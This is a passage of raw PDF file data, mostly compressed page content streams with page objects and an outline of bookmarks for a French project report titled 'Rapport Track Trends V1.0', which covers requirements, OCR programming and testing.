+[W[9X]P<(lb4^;&#GbD&iXI1JlV!qy 5؉ߥa5,؊LP"<@T@3'5h2F7઀"Ho܀e$X*[B׀=+cYoaz\#Q^2&O2pD8oB| Py"ئPS"d~3IX,+-ssX8(+p?2SeMw&疨 pa%/C AT.K UЀPы֙ɐD|vJ[eE@ ḓJrm{P`D&[W,wӝ&˽hrAK@28 A@(e+ ~`۝HpBS$@22 ^*OO_ DxoR+g*ƺ̮XT+|mV"/60Zôa8|Eţ\ǻ}a +Gr˜"51n:î*`jF/O5y/fu^aMm#F^YR~wC{}MRrM]msjZKZ0B6B;F( XZ +>PEAz1B23Te혠-`5Aݽ٦׀4ͧj!η$ym;g0w}(<t1kZ_Pi*<)Hbtu{C熘O"{%ȳvveE+Mgꁲ̵UDuyy)\r> VagMۼ +7"זj/ז@zsm@*6#J0A6+V".rǨ\m-$s-\ kAsU^ +ӱ(MdItuBm /TwRK<>8U [P+Ѫ:)^)wxi•2'ʪtS-iԩ7XcwuO;߲ӲGZyD8EыVw u'/+`ݞs^/]rޏI9}$y$HoIE>/IM*~P@6q xiwi\x`t)Ϙz#dN51_Y!6.'F䛞t@ +5*'$SoXl1Ll){J}+Ağ(W=1jD%}l}(cRO{u tte=')/aI{6m[f^R0%=]?~oؾAԦqyF[N"S +({dRdJ %t'l{Tj(QhL }F]2bW)O))Uل /WO,D(S/=o{<=6#7WƔyT'OO9SŬMHs6)/(0J!? >E,U7!% ^빧\NZzocH0$0wPMiD~)醵3,\dQrK5uRv +endstream +endobj +1719 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1718 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1720 0 obj +<< +/Filter /FlateDecode +/Length 2759 +>> +stream +x]n#}WeE !@$yH$ y} žٺx--2FͺXM{?#/1D?F_;/Frp D)!7?wٕ%{#J=s&P)#h_~~y#%4?f!JP.׹&G;O?zI :TmHɭÎfs&k4ȊIlw?_Բ#_ntA*Z8˻h\+ +?-c7ѩ`oXj Y%fO^|:el+ 1 tR 0x +VZ淑 3wj^4XAqz?;+MFjRҙpy&m1+s69Ʈǒh%3r1MS[P&fOLsC{,Ez^F#;` +Wͮ&%kXlƬ*<ʼM#*oTTuJ>\ iqpI%؇vW͠*aM<OE85Ȑzayyj9#**#ѵOz_+f1-o9q-\>{y25wɅso8QKMeH#.1bL :Ms A+^uy3ro A*?>tEF\@76+QPFƩ޹w=ea]r/8t {AcmUhP˒.F_r:v~pB''i$9ɩS ˚Sk(.<8Py_"M ;ZwlRnQ+BH'ڎ} 3DTZ/f H șQX(!07TU֗K(xc<ʜ;Tv % ށk_ٶ32Fw4|Yd:n˱UN}aY]rR52FAiLj 36J)@䞊]m%@h0:hoxIB /(gMRpP|Gj=sm- ֘>0.m׆5r/H?V s{UazɖY;;]*TN8#„Ѷ, ;']M߽f=r:Y犸F7(XV#P^@K0Iᖁ† (W75VDbolWF12fD|BorR)mΎ tN s˥V#vRIʮ Hvfg4a'xA&>;1MzwN%yP^I^go-% >P^j+5I TFSsi&^G.p6@Zc!bl^Kŷ0{A SVfC 7 +ٞ&09 OAg0mxS 2}}\'sf=+tSWl e1:]m2Ғh|F &'ouoΫ\\UW%ؘ ~? +llk*Eh[CVS;$&nƕ "VVhk^v+@z[3)ZI(a[v. k/zoKWD>]{QCg 짶{^JPw鼒dVu-UQ[nT$TXmy#qKt׮oߕڕ֕{[х=[`\!;щ];@g/B2.=m] CJ|*]pCt2В@z}@U9 +pwi.T}WV}*,ʙm j•G[@EhWJ)E T;h J&goϾ6 +s+ӡD#㖥!+ꧺ;3.>m:*&:J*X͍KǿVnqLM4A6㌪kλˍsбpFUEUW Hm +-@]6,{i*p=;-7Y{%vZ.AkN=>`vШ#m%*B']a{2,&|TMݪ:%`rتHԏSjˀcҸshޙ; +fSnz=q*|<6Bze`qFWOKl$49jng2^};Hx8'q; eXe86=b=tѫYc}H,@=8矯ÃsbH +Mɺ27,Ag0?e-7Lrҧ],Qe<1'[ŧ(*2\1]#Cӻ~=,חDHAF5s[1 O' &v|rdw +endstream +endobj +1721 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1720 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1722 0 obj +<< /Filter /FlateDecode /Length 3371 >> stream -xX{XT_{}f@MaLFi)3fZY3|c x")%X⃊j\-$fpܵ`x{9Zk[{ ^ 61itl;zq. c=tFdX4aOð n *s"~2}TW6͝6ç VK\lucX972.~TOHQ3®xmGG߽qY8b\0G􃐅'ǥt"^wx_HR6Jx@%׿K:lV yφ"< -syV.K=0 i{(I x2Q]f>was  =iU9g/7YU e4h|- `X!C?xpEhgLflegKxêh*oabͶVA6?FScS79t~}헔nd'{>b\ Hт+h!h|zڭ/XLVdӝ W殒_]&ky潐XI)Ў2:5fYXI+*Jp(Wr/r)"c#Ҋނͮg߃4Mr7gjeV>A땽}O9^c͑kݺE\2?;x \~71x˺=#V"nD.g4k -`{@/W5C Seo&ɸS!z$1=S޳5֮PeYG -e%:f°}nv<Y/31M=:AL~A΍/=8Nzb̨0.I)yk>o2\i$KJz-DQpq>06= x-'j4(J n^{s~2t H7V{kێnĐĶ+w~ǿ'xŎ!olVɟQaL+Puv-I|=]Krq89WNe}S18ቄ,FzV kdwE=ْ2oO"A -= dU U#Ǣ >;WD${EQ% -t3'Fߘ:Eな|ry)؁/P:d?FV'fxB9(9IxԔ)ቊ~0:f8s.r$EP'N"Yw)7Z2gt/$&_?*NRC:I~!mP@{`AM# }ۣ!ң*5"g4k] F %qN L-JϒhYLfAJح\|k""@&žV4cc֑ yqWc\Dfjt,;v=W+ъ؄?-o\ςMH_Bv')W:0=ۆJ%zF#²VLM"<-]w_)yñBǚSy%#A՜?3x(R 3NU_iݿVm{}Q9s4nRv,(13(sXaB=-aPA xѵ^,Y6}VF_By۪V#0mmVZYHk>gȱ8{:8,w|#q8? -5-؊䁷8m~5cA!BK 3wo|Lpm>`>d|^LJAE, Q +x]Y~ׯśNsAƳ>mo?bbuKݤ4##ݺXuITJ9w|Uo,^ ϯUpN(c;ku<1[)QrH|/H/=|a@#1+Bue +;~ʁwKl Q 5y*ڧdfv&΁a*9m?z_(&E O{s#HKDg` 6 Z(MP 5:W8h'<51acf@l§&STg:cUxg-8ixӀXdl0Iu&M.zPoQ-!x]49j jXshP))GZ|oy864KO$"E,Esc0iø,1{BQ%@bp'~>7K4Q@.;*p-mu72 S5g_9| +ARִF sghq•ekSQ|*mDz4.]dULrZDzg 5]wdt nq;M;dqYl: zѩ֑n=ts{kϔ6hvÌVs6h:yARԮu</87:yǞ9/mZg|Rӊ~GRx<bzA@u&Ȩ /qCgF[ĻFQ Œu +a9:Eaqyz1@,5{MP;Sl)F6#=@ }&"l+G^iaɐ˘tfJ푙!atWaE`xyT$~~> +h5}v&auJ;NNg<eY  Feb_;3 ^ TF FX8gɌ$1=ejL +[Deãc?EVN14Dq]y LMX;w>c7m 77$e |HDGEP7ui&wmL~৕u6kTI.ӭ" cu(Q)g| H*(4߅u05g=&xu3ņLNw#0dg ً)ϓ役 +jx/j^?YXXqOH>-$= 9QsѫbM`xvS5͏cdLQEofp;J#GU Һ[i$륑w-gح4׵4BHJ#Q*DehOi$8 X$b.\Z ݵ4ٽ4۵44WiF\.FFR֫4"ViH[w:"{W#J#7iuҙJ)OxK_V°'Q7DOd|1r#Zzy-18ǼCP #Z k%s) 4g,W"4n2JQxi@Wldq\`p"%S`1r>`C0# n+lbpFnR-_"72֑=uDilw#uD^#:"}#ݵ(֑a^ZG4GUMZs!xEdox*vɪ[m+<Q<UA?rmSUPdLκ3DSsUua@5^*C\%|(6WyJ(ɉ\.U;Ub7xZ6EQ('+$kī3ʛxjqE=.w`/Nq֎E4;h{v\A1i)|eDpUN|5Y,|yNXr}G!R1Z}a^Z JB[g~-EὮhݨ39]R_ՙģWrTγfY"_ y",eIy#y&(б>Z(;d wDXP{d*14*&L=O[mu[ N'DN}>^S.ܸ]Ftffd\L(t:!ly>G78ه2ߑ3Y)%W~H}3,|O?o2u8U?tMENg65'6^*%9r6MuغUrsuܩT+qT)?CKUv(=IpfOkB_vD / K'|Պ%Ì1惍Dv-ܥDoފ]N.v{dS~})Q[ۊݑGn-k9yq~)m5m8PX0SdaI(Eg׫oOhcu1*Dp׳FQ+*T9;f#?-ѻ&(Oai2ll׫/B!OVimp32o-tHgnRQljv 3J=XضHԛN~EeKNgD L%;4#&Z&gb)]M7RI;(ZŦSK݄HK8eի&;63QK%:֗rl]Ⱥz>tm܁m0 1l966ӣD Cc`%) 2UHt۠4n;AfPlcw8ǠlF[S9՛67 tT&([lNmmN=>Uô!6QjVV@ L^$<;8xW۳UR\Z[btp Y#'g|]vz>Ώal:ƼL{b/yFB:oX#寞4V1W}zOPKsOAi Q14[L*beŚg:|.Ӱvfc|WG)ʉ+b endstream endobj -1066 0 obj +1723 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1722 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1724 0 obj +<< +/Filter /FlateDecode +/Length 3334 +>> +stream +xn#]_E/`06Cy>m?")/2Fb'-J Ax/o)/]%gz|h'\0k@ރW^HZ ZKw\]I鼻(% Mן/?<ן{y&@F:CxXK,{.U DqhiWY^ + Nx +?+(R(_/$REG==ȍ뗟.r Jp 4 +(k'F&L'D76klcJj_Qf@F 4L-^Ez^h6VzmT!XH:Ė"ZwmbcDGF~VG3sW|Ҫ[p#=|r=t{>,UV('rC`Pd&A;sJ*\G呈vvnn~u @|'.3]3q{ 슜Mn4OA^qǭ#%GrMqybr\>-J@dkFm q*z@VzcZ)kEƳav%F9דlѕ)w'ϼhXe/ f0{hKX #$j Iר@lJk&fb|0fE{'2LBK_ poٲK[EO"we + +'Po&_TjpR u L0=(jB;-.i +M^Ԋ-uQgߩJnr៦A>-]P9'6ļ X~v_A/Ch^H@I1WNUt2+600Ph>zNެ棙|꣹㣷s^pOWd+z'踙 *Ä3 *Rx:M`B'`e''OV =֫0e2 +[HBPYS+[gb&Jk42٢h~N`3 )A+.Lo_n7=`d9j{Uqg۾{z DTp‰t1+A'|L[.kʵzectU&İsD$LxctU=ΕB+R]. @eb[Cl5$;טF33^bUFLl=`\wL rii3܍ F0]k[^{&G?3 Q 辟&!M,&aJjPDx«(!٢b۟0% )ϯ[KQC:pfj1)hv1UUeJiGU4q[_=*btE\GՀ}jQRdsc4Q ƭx)i:. SXzz]*d-j ՇɃ<M='r[,,zJeo7 ni)5~BJ׫I rs3}3L4Q؂O-k5uy$j]j[D̓g +h=᱅5v y&g{/(2en!w.[ZU:UX:%g C/L,;IZ[\{#jFnW9vVΙzёl3:ch: x%5"SezBtJ%(Q|{FgS̔L:ZR:0wLz~Sq80^(BI6  Y *'\Oa4.)lnIK]Wf3K:3+O\Wu<`N%~D5sQ3@-'F&xp1HSǡNkpAÚ)Ӝ%ubqԀLzk[1̳r|g&'g ΗQ@mqLxZut*OjC/fifc9Q%kLu'`[%LJ:DNtnǍ|9Nq$oCH%Jbw^m!ܜ{{u^nguh޷)SZHlZtJWhk--qF˃V6XZJ@ 8>qA+x],qݹc+}*'+a7+KxE|oC|^mJpqC瞶/ifھ6 ?Iw9ryR4*kɃɦӷʬst52w:fF+xB,`9'tz63%aҡ`SJz'풧qAxg<ƙ=LFrVgNɶī?oaTem_o I:C?~wP4Nڑn&>˖bem]W*0)j.XnX tKx3y?Or6vuMR j}i*es>;7g6vD4 +endstream +endobj +1725 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1724 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1726 0 obj +<< +/Filter /FlateDecode +/Length 3628 +>> +stream +xI$ޯbp'0[> jd`2FnU$+僧PSKg2V n/!Do/Rx+_b!|~{^hwh By@*_j-Zۯ?/~RoJ [zw | >O +FyxPq}7=RC +;*o,$qhiCP&q)a‘V޾_~ +2??dݾ~)+@ +pidDW|՝Jj NIEƸs 9܁/gJšDaL:pdZ带FaDDP +shF$F=*%KO6:8ŗ|kgt1%n& ߏ4X*Uncڍ"ZgzZӎ2h=6p !slDurq|v?#jx(Qb[یD8ߘ7cʡ@YGe5#Vv b<\8Ep'Ν'D@˥Zi4:b$7DS36ygE^;àhm _QbT`?x.a9X^:)>;-#"g.FHQ6ghh̓Q'6 zDt 䳕TBɖ½f(Bt=sZA8īPZzFg IKt2>i}$ò \湵JO,-u/L/Lx4x}oE7 +rtyRzlPLA׮eQG'EyeS~1F ׯNÖEOVreb.k3cxx_)P"i)km.p{Xz+{%8(>g;½ꬋc\g!ީ64&\kK1L11 q2j +f4.v6~fUVSrt37vh-zǖR3)olPM骩~b- @Yu O\=ա@>^U:͑m\ve!veiKi,GL6ey'zō.dògunJaoo,\4z^NLˠ4X*ѱh+)8bh[Xv +&߲; '*4m6` nChmf4Vcinծs;R͟Y6}nZ@ieyp˅GFkFtw"q[дmF<]ze߷wADeT-5}LDMgXIY*d1S),iI +ƬBn/=cIK3ei=Вڝ)R +NLeRac*+)L8T}ʒJ' ~PG*]q븫Ӥ xcX(s)Ybk9♦1L._mZe4'A$TIC)Yvf}: = A;p{iW7uM;{~vD8s"rpS lG+9֌Ic㉡X<@F)QBtn[tJhيvMQ:EJ"wbGsqqm"NjʉyY&(9k+mL0sW"Dòl̈́J]6,1 RyGTpe6R^!U̯`6Gثe#w_)[A~)NnpbS!&<;j~ъ8JQ[='\ {c o|(^YL 1m: \LlJ1lo[0gۑ3&MҳZxKl湧nj'>'KQ[I`U tj lՌ%AO4'lA^˨褛zA桘Wc[%ؘzm[W`U,w<,su[+2h.h@@> +endobj +1728 0 obj +<< +/Filter /FlateDecode +/Length 4009 +>> +stream +x]ɎW} a y \$?`.ŨǥR1j+; 2I:KU"=?}9}=IWo_D'DHNNVUL砢PJjC#OsAY)SGP/>(!ϿL]_w܊h4*:4y2~m[wӰvJ+qa$atAh3\|gsst/^d{ڝϻWkO.G61?%hbH=MJRhwS9@bWZL$kԘAD+_N?/gEZ[y~|5NxEADYL09vQP S\W:J(H|];Ż3+kM!2(kgc4AapDzz=p^~ςvycAIqVRI(Nk&Cd0Nv :L! aZJ&֯dH٪r-pt-ōrCyo׺Xi,mKK?ӵU,2ɓ柵g2jj0 +k*Ո1r_y qV[Dn4pMK'cpisǢ/Xdu~r:^,.X.aS;v,'[Z;]m5{TP4ѩ'w>rBZC;5`AŊTy-I~u);^+;V N˽Y4ֶ>xb0-"~pJ}j_A%*\_T2F ~wUKpfz/Xܞ{%]rWAff i'&„&b97QP#OL41]t6{(>[KD0haSr +#\ޒd FQܦ( vCAhc2@ߍh̳6 p揠wcu^$wT֠uR2k^P$pm6\B%| ܎*7x#@^;:wr];T>aq:N)&`nPH+LAA^MRaER~W)jk4%D +svA(sVK7jY@^0k !Y nkn(I&ZӤ +7\wT5Z h{J1E La1JN? &8ntvZF 8®8__ ( +6iI(ViW䡬G5pR !1vNK!9Ck/LXJDUacΑUG_jWzTi0C(lB2Q U=5 cs2&?AI-DBѷbao-G-=u KcHR/%oA9Fb'Šbth10Z w-FU:w鶪Xh1:QM`Z(Z uNZ<\3CE+DzGb^h!qb7Fbt| Գ bPQFdŠHG4]CbT 4^51qp{wytn{7n(8Pne(lX&ڪ~;zsG i38cq$zk=ư!l96S|Z^}s=;"#?j}"0? p{^Cm`,njsȅZ@ ` J0}1W?e!;N$ ^Xv։qg QQQ?:V_z+ruk$ClPKܝ `70>մL2>/lZ#[ЪqvJ2r\S:D{kskC$D(P-`(窉S֏eneENayCg>anQ:vI^ 6V!)6.mkWclC1(TR w3*o͊Xp V +Yjkv63  Ԣn;3'86=(Y J-ms=<p8lWve!(3v<#MK-$b2\M}_3’J܊2cP͔,0QGAG2+q*c5jlTʊ?_>.A =!Ǩ(jw +[-V<[U*YɾnXM׌7jS^>wa5&U +{9C rMjccGG銓#tŞ@#8)="q[v06V&@l>/  |C@;5F#@/kWa>u 7|V8!w͆J%WE*2RZ5F-Njkpёyaȋ R۔^Qo)/?x +H +[~ +>zS\>?KKp.ၻMǫLO]EBHz]X.L)"FhZyP:%$ PcsfC+%O/L*QOA] ePiNP|DQfaduSƚH99m6+geO9Ǵ('=CL> +endobj +1730 0 obj +<< +/Filter /FlateDecode +/Length 4070 +>> +stream +x]Yo$~ׯgyB@ Avlu?",1]lRBTqyF3/&6A]]Vr +7&zFlgg%c%קàjfG%7 t3P\ÇY/΍÷L8Q{4-``hgupӖk.VF}jQBzz9_~93\v̵:wdc>M_WTQMrjSzrr=/gʸup5x8 !}^ʕ6W؀n]~~ \."UMeRjw@몙 @ y؁C mf 7P"סsy c'xS(!"B@R/ǘ?PF}9<^|=*RpIshDb1 +!E&>O= 6>$vMT\WL {Č?5j#Is3 }GCMgz'qnꭹr-mYY9Wd-N|+]LR.Ib23RZd)zOi)Uf%e%E|{~=0wKcX*t2kA+inV>v*B83f zF?ʥ/w`G: bgŦgaY>4|tJV- 0gaogҳ8exGDÖ.^ϊY:'gi`cZ:g7JZ9eɉalgW`UǢÚoiyP$/w hZ Tt8]]xT,Xɕ t2 B8kt(l/# Rj!tD65&]m(D^I*$%*@T-pW%t.~ J'tauJ#ݭSSD}jnھn{uK$s>'!ZBPZ%,M@^)O;Ly@gDQ(2ҧk=J`6\!f3" QzB*t. +iaDrB+bDz@,}"jd8o`^)b]H4u1Mŵk %"d$ ~kS:$Ȓ9z{VSšjF@˜3 +sJ+'dOjcr*Db, ҫ@dbP> `Bqg'pNjhEI>x=aP"3s=RNAg9M; +{ }+,`ߠ]Lܵ `,0Et "sk#H%ݐs0,HF+qbE$ S %`"N$e)5Q>cRN^;f5oЗKΝBӗy&JVvAbDaZ"uAF;le> qd\x; rk`N4D$3ҕ,+ƗIRt"8j6d]sQme@d];Ў>3h,@x%\u:JBTXwqXvIBr*]|lD8YCv2 y 0iNr 5pTt "-6$֦ (g'Xľ)'u ~l9|L`-DS{DJ*x) " + KtaHqYF-V cl/+%KyY+#o^[aSlO4 +lðn@MMq;K,d4n+OXp[8Nj z(+m4 \pup$6dl[m%'1KXE^!i(T.mg;\Izdt("^WfHMfp6w; tbk)M%70nrz/tjL5^ւ k%w1,dƥ 7тۓ6\Ղ]c]Z>6Zۃ4fS6*!M#SExL/Urp;nP&4sevʢHHPSzLuCsTzfdʫ-O;~!b.ɬm5H&x] &lcGh( q1ڙK/X롊(ҙ-3\Yx~Ev(rjTyzE:8Q^|!Hr Ź|u~dTi׵n9\!qž'HwOTT{syo׋.XVPE:8}V[{P*\)&rqQ]p 9JХ|ХJ{t&8DH,=NDzǠGŽ!B=jde~*#5Ed"ވL*o0(n-*LՁq|ݓTr 7]74{M]S]8p)H5"0Y\7&2wN9/#m"G;T9UО٩Z*4z#jTG Z.ƺ-,`'K%erqp\n8YNм3*nxV!wq~y5$!CZCOfT6ʇFe4rdTg|Pnj<(#eUfXr2̣ %.WM/#܎2}`8=o`I#KӢIt(-Jwwٖu먱NohXYRj\}7Qd=n.r;ZFsw҉97D9O]@F[ֱͦG +|Ҕ /:z<7ܶҰ&ڹvUs6_t~d`4:Z$ktQFC:`͟ͼz-\@sf^7; r@`w" YGkjW-ݱEnAfк`9Q==6"T͟V غZvNz68(4=tRY"FZrt;d *,R%胥RX$]D` YJ)ZV!#'7VQ3W 'Ҿ6iZft䮌#X +T⨂~/5^O|w?K|0NۛWs#u?黟2oY7}[#{v1ݤ0 lL_ęQѹwT?^ +endstream +endobj +1731 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1730 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1732 0 obj +<< +/Filter /FlateDecode +/Length 3463 +>> +stream +x]Ɏ)p_ÇNrH$9tksx@~RU_KKl;qCVwI,J%N*c +ޞ/_N_OR'_y_d +TJIm1Ycd8N! 1Z8|t~ÓO/ +jf—S jTtNive/ҙrhJa\TLƺM]|^hmV+ xˡϻWk"}H'JuHR$Oy˞N&%y)R@/:.F?`$UHS2hV?^k+_NzG{>.@k`Uj@0\~ӳzV kfziz=N/t2}_Dϑ[t]cS]]zyݲ'ןWURtMe<& q@Edab$@X +臰GhK5#9PkP(܉7fS c)#N=d2 + +% =o)LNxo!qNLϓHwz& +.``&m(XYY=y+N:[-{B-Q*L .m)OUncniR}U OBHJ*_ɭ{&2'Ċ5s|ժĺSmժz-fghO Sy!(&Z-W|VV$1Qm`"Bξ:+Tho)CHG3;oNfAeR9 L2=PtFUu||+ .FU6S-* +/J 9'f2\L1TG +&$Ejol("dBͩ1m]DRڡN,͜ѰW/LV?vbG I7=K(TɥzRdz=L:=ٖ`L.! ҬX9SWyrZJdKb2$ ޵rzlHܹR%l)Zrt }'PbyuSD摵RyDqa2/H։PK sl>b|$~~(cv%=<;!b׆( iwy `mw{ Νmp;[_ u)zZ_olg ;c0;m +*b-(aGzص=ް\;> (܎ e1G~O;Q|5 g g +3%FLG1:kz(}No OG/oEqg0:c# Xv\bvY{ FvYJB9@XoHqj>~x&wG72ϕe\Ds'^.菗F%(Ce !4}d#g!׽3A/jZj|L^=ky>H=g܎l{޸6SɏԢn *ڽo;|jWډ\=a#VD??}8gݢP"Hj˜Na_xe)2.\̯EiƇի9(bNʬ_t:yHrWCSzwy]@-&ݰAI\/7?ݕa,B!'tLx»*l-P,?@> +endstream +endobj +1733 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1732 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1734 0 obj +<< +/Title (Documentation Track Trends) +/Dest [ 6 0 R /XYZ 69.746457 512.280482 0 ] +/Count 0 +/Next 1735 0 R +/Parent 1893 0 R +>> +endobj +1735 0 obj +<< +/Title (1. Rapport Track Trends V1.0) +/Dest [ 422 0 R /XYZ 39.386457 757.223622 0 ] +/Count 90 +/Prev 1734 0 R +/First 1736 0 R +/Last 1825 0 R +/Next 1826 0 R +/Parent 1893 0 R +>> +endobj +1736 0 obj +<< +/Title (1.1 Introduction) +/Dest [ 428 0 R /XYZ 39.386457 723.165222 0 ] +/Count 3 +/First 1737 0 R +/Last 1739 0 R +/Parent 1735 0 R +/Next 1740 0 R +>> +endobj +1737 0 obj +<< +/Title +/Dest [ 428 0 R /XYZ 39.386457 667.603722 0 ] +/Count 0 +/Parent 1736 0 R +/Next 1738 0 R +>> +endobj +1738 0 obj +<< +/Title (1.1.2 Abstract) +/Dest [ 434 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1737 0 R +/Parent 1736 0 R +/Next 1739 0 R +>> +endobj +1739 0 obj +<< +/Title (1.1.3 Description du besoin) +/Dest [ 434 0 R /XYZ 39.386457 343.911222 0 ] +/Count 0 +/Prev 1738 0 R +/Parent 1736 0 R +>> +endobj +1740 0 obj +<< +/Title (1.2 Cahier des charges) +/Dest [ 436 0 R /XYZ 39.386457 550.499622 0 ] +/Count 4 +/Prev 1736 0 R +/First 1741 0 R +/Last 1744 0 R +/Parent 1735 0 R +/Next 1745 0 R +>> +endobj +1741 0 obj +<< +/Title (1.2.1 Projet) +/Dest [ 436 0 R /XYZ 39.386457 435.818922 0 ] +/Count 0 +/Parent 1740 0 R +/Next 1742 0 R +>> +endobj +1742 0 obj +<< +/Title +/Dest [ 438 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1741 0 R +/Parent 1740 0 R +/Next 1743 0 R +>> +endobj +1743 0 obj +<< +/Title (1.2.3 Cas d'utilisation) +/Dest [ 446 0 R /XYZ 39.386457 412.926066 0 ] +/Count 0 +/Prev 1742 0 R +/Parent 1740 0 R +/Next 1744 0 R +>> +endobj +1744 0 obj +<< +/Title +/Dest [ 450 0 R /XYZ 39.386457 638.709222 0 ] +/Count 0 +/Prev 1743 0 R +/Parent 1740 0 R +>> +endobj +1745 0 obj +<< +/Title +/Dest [ 450 0 R /XYZ 39.386457 368.746422 0 ] +/Count 0 +/Prev 1740 0 R +/Parent 1735 0 R +/Next 1746 0 R +>> +endobj +1746 0 obj +<< +/Title +/Dest [ 450 0 R /XYZ 39.386457 279.402522 0 ] +/Count 19 +/Prev 1745 0 R +/First 1747 0 R +/Last 1747 0 R +/Parent 1735 0 R +/Next 1766 0 R +>> +endobj +1747 0 obj +<< +/Title +/Dest [ 452 0 R /XYZ 39.386457 771.023622 0 ] +/Count 18 +/First 1748 0 R +/Last 1763 0 R +/Parent 1746 0 R +>> +endobj +1748 0 obj +<< +/Title (PT) +/Dest [ 452 0 R /XYZ 42.836457 580.332822 0 ] +/Count 1 +/First 1749 0 R +/Last 1749 0 R +/Parent 1747 0 R +/Next 1750 0 R +>> +endobj +1749 0 obj +<< +/Title +/Dest [ 452 0 R /XYZ 42.836457 531.536022 0 ] +/Count 0 +/Parent 1748 0 R +>> +endobj +1750 0 obj +<< +/Title (DT) +/Dest [ 452 0 R /XYZ 42.836457 404.984502 0 ] +/Count 6 +/Prev 1748 0 R +/First 1751 0 R +/Last 1756 0 R +/Parent 1747 0 R +/Next 1757 0 R +>> +endobj +1751 0 obj +<< +/Title +/Dest [ 452 0 R /XYZ 42.836457 341.173302 0 ] +/Count 0 +/Parent 1750 0 R +/Next 1752 0 R +>> +endobj +1752 0 obj +<< +/Title (DT2 Documentation Analyse de l'existant \(2\)) +/Dest [ 452 0 R /XYZ 42.836457 225.937782 0 ] +/Count 0 +/Prev 1751 0 R +/Parent 1750 0 R +/Next 1753 0 R +>> +endobj +1753 0 obj +<< +/Title (DT3 Documentation Analyse organique \(5\)) +/Dest [ 452 0 R /XYZ 42.836457 140.731062 0 ] +/Count 0 +/Prev 1752 0 R +/Parent 1750 0 R +/Next 1754 0 R +>> +endobj +1754 0 obj +<< +/Title (DT4 Documentation Analyse fonctionnelle \(2\)) +/Dest [ 454 0 R /XYZ 42.836457 692.198022 0 ] +/Count 0 +/Prev 1753 0 R +/Parent 1750 0 R +/Next 1755 0 R +>> +endobj +1755 0 obj +<< +/Title (DT5 Documentation Tests \(1\)) +/Dest [ 454 0 R /XYZ 42.836457 552.564102 0 ] +/Count 0 +/Prev 1754 0 R +/Parent 1750 0 R +/Next 1756 0 R +>> +endobj +1756 0 obj +<< +/Title (DT6 Documentation Reste \(2\)) +/Dest [ 454 0 R /XYZ 42.836457 476.741382 0 ] +/Count 0 +/Prev 1755 0 R +/Parent 1750 0 R +>> +endobj +1757 0 obj +<< +/Title (PT) +/Dest [ 454 0 R /XYZ 42.836457 374.588262 0 ] +/Count 5 +/Prev 1750 0 R +/First 1758 0 R +/Last 1762 0 R +/Parent 1747 0 R +/Next 1763 0 R +>> +endobj +1758 0 obj +<< +/Title +/Dest [ 454 0 R /XYZ 42.836457 310.777062 0 ] +/Count 0 +/Parent 1757 0 R +/Next 1759 0 R +>> +endobj +1759 0 obj +<< +/Title (PT2 Programmation OCR \(5\)) +/Dest [ 456 0 R /XYZ 42.836457 771.023622 0 ] +/Count 0 +/Prev 1758 0 R +/Parent 1757 0 R +/Next 1760 0 R +>> +endobj +1760 0 obj +<< +/Title +/Dest [ 456 0 R /XYZ 42.836457 625.759302 0 ] +/Count 0 +/Prev 1759 0 R +/Parent 1757 0 R +/Next 1761 0 R +>> +endobj +1761 0 obj +<< +/Title (PT4 Programmation Vue de l'APP \(5\)) +/Dest [ 456 0 R /XYZ 42.836457 495.509382 0 ] +/Count 0 +/Prev 1760 0 R +/Parent 1757 0 R +/Next 1762 0 R +>> +endobj +1762 0 obj +<< +/Title (PT5 Programmation mise en commun \(3\)) +/Dest [ 456 0 R /XYZ 42.836457 365.259462 0 ] +/Count 0 +/Prev 1761 0 R +/Parent 1757 0 R +>> +endobj +1763 0 obj +<< +/Title (TT) +/Dest [ 456 0 R /XYZ 42.836457 238.707942 0 ] +/Count 2 +/Prev 1757 0 R +/First 1764 0 R +/Last 1765 0 R +/Parent 1747 0 R +>> +endobj +1764 0 obj +<< +/Title (TT1 Tests OCR \(2\)) +/Dest [ 456 0 R /XYZ 42.836457 174.896742 0 ] +/Count 0 +/Parent 1763 0 R +/Next 1765 0 R +>> +endobj +1765 0 obj +<< +/Title (TT2 Tests finaux \(2\)) +/Dest [ 458 0 R /XYZ 42.836457 662.169222 0 ] +/Count 0 +/Prev 1764 0 R +/Parent 1763 0 R +>> +endobj +1766 0 obj +<< +/Title +/Dest [ 458 0 R /XYZ 39.386457 517.843302 0 ] +/Count 0 +/Prev 1746 0 R +/Parent 1735 0 R +/Next 1767 0 R +>> +endobj +1767 0 obj +<< +/Title (1.6 Analyse fonctionnelle) +/Dest [ 458 0 R /XYZ 39.386457 428.499402 0 ] +/Count 0 +/Prev 1766 0 R +/Parent 1735 0 R +/Next 1768 0 R +>> +endobj +1768 0 obj +<< +/Title (1.7 Analyse Organique) +/Dest [ 458 0 R /XYZ 39.386457 339.155502 0 ] +/Count 46 +/Prev 1767 0 R +/First 1769 0 R +/Last 1809 0 R +/Parent 1735 0 R +/Next 1815 0 R +>> +endobj +1769 0 obj +<< +/Title +/Dest [ 458 0 R /XYZ 